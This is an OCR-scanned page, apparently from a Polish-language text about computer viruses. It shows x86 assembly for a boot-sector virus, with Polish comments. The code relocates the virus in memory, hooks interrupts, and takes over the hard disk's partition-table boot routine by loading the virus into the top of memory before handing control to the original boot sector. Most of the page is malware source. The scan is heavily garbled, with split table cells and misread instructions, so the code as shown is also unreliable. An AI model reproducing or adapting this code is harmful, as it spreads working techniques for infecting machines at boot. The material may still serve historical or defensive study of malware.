58
mov cx,offset koniec[lOh]
cld ; przekopiowanie wirusa do miejsca, które
rep movsb ; zostało mu przydzielone
mov ax,offset skok_po_przeniesieniu_w_pamieci
push ax ; skok do miejsca w które wirus został
retf ; przekopiowany
Skok_po_przeniesieniu_w_pamieci:
calł zm i en_adresy_jor zerwań ; patrz poprzednie procedury
koniec_przechwytywania_przerwań:
pop es
pop ds
ret
Przy przechwytywaniu procedury ładującej system operacyjny, wirus korzysta z faktu, że podczas wczytywania systemu zawsze pierwszy sektor dysku (ścieżka 0, głowica 0, sektor 1) jest wczytywany pod stały adres w pamięci (0;7C00) i wykonywany jest program zawarty w tym sektorze, Ponieważ sektor ten jest zarażony przez wirusa wczytywanie systemu odbywa się w następujący sposób;
— wczytanie zarażonego sektora
— oddanie sterowania do wirusa
— wczytanie przez wirusa reszty swojego kodu
— instalacja (pierwszy etap) wirusa w systemie
— wczytanie oryginalnego pierwszego sektora
— oddanie sterowania do oryginalnej procedury ładującej
Pod spodem przedstawiona jest typowa procedura przechwytująca ładowanie systemu z tablicy partycji dysku twardego.
tablica_partycj i:
xor |
ax, ax |
t |
mov |
ss, ax |
4 t |
mov |
sp,7cQ0h |
P |
int |
1 2h |
r |
mov |
ci, e |
b r |
shł |
ax, cl |
t |
mov |
cx,lOOh | |
sub |
ax, cx | |
mov |
adres,ax | |
mov |
dx,80h | |
mov |
cx( 2 |
Stos jest tak samo ustawiany w oryginalnej procedurze lądującej system operacyjny
Pobranie rozmiaru pamięci operacyjnej Ustalenie segmentu, który zaczyna sie 4KB przed koncern pamięci
mov e s, ax
mov bx,0
mov ax,0206h
int 13h ; Wczytanie wirusa pod ten adres
itlov ax, adres
push ax
mov ax, offset czesc_inic;jujaca
push ax ; Skok do adresu csesc_inicjujaca w obszarze
retf ; do ktorego został wczytany wirus
adres dw (?) adres, pod któ.ry wczytuje sie wirus
koniec_tablicy_partycj i:
czesc„ |
,inic juj aca; |
mov |
ax, cs |
mov |
ss, ax |
mov |
ds, ax |
mov |
sp,offset bufor[10Oh] |
mov |
dx,80h |
mov |
cx, 9 |
xor |
ax, ax |
mov |
es, ax |
mov |
bx,7c00h |
push |
es |
push |
bx |